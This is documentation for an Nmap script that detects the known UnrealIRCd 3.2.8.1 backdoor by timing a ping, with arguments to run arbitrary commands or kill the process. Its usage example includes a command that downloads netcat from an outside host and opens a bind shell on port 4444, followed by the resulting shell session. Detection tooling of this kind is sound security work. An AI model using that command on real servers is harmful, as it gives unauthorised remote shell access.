Checks if an IRC server is backdoored by running a time-based command (ping) and checking how long it takes to respond. The 'irc-unrealircd-backdoor.command' script argument can be used to run an arbitrary command on the remote system. Because of the nature of this vulnerability (the output is never returned) we have no way of getting the output of the command. It can, however, be used to start a netcat listener as demonstrated here: ' $ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='wget http://www.javaop.com/~ron/tmp/nc && chmod +x ./nc && ./nc -l -p 4444 -e /bin/sh' <target> $ ncat -vv localhost 4444 Ncat: Version 5.30BETA1 ( http://nmap.org/ncat ) Ncat: Connected to 127.0.0.1:4444. pwd /home/ron/downloads/Unreal3.2-bad whoami ron ' Metasploit can also be used to exploit this vulnerability. In addition to running arbitrary commands, the 'irc-unrealircd-backdoor.kill' script argument can be passed, which simply kills the UnrealIRCd process. Reference: * http://seclists.org/fulldisclosure/2010/Jun/277 * http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt * http://www.metasploit.com/modules/exploit/unix/irc/unreal_ircd_3281_backdoor SYNTAX: irc-unrealircd-backdoor.wait: Wait time in seconds before executing the check. This is recommended to set for more reliable check (100 is good value). irc-unrealircd-backdoor.kill: If set to '1' or 'true', kill the backdoored UnrealIRCd running. irc-unrealircd-backdoor.command: An arbitrary command to run on the remote system (note, however, that you won't see the output of your command). This will always be attempted, even if the host isn't vulnerable. The pattern '%IP%' will be replaced with the ip address of the target host.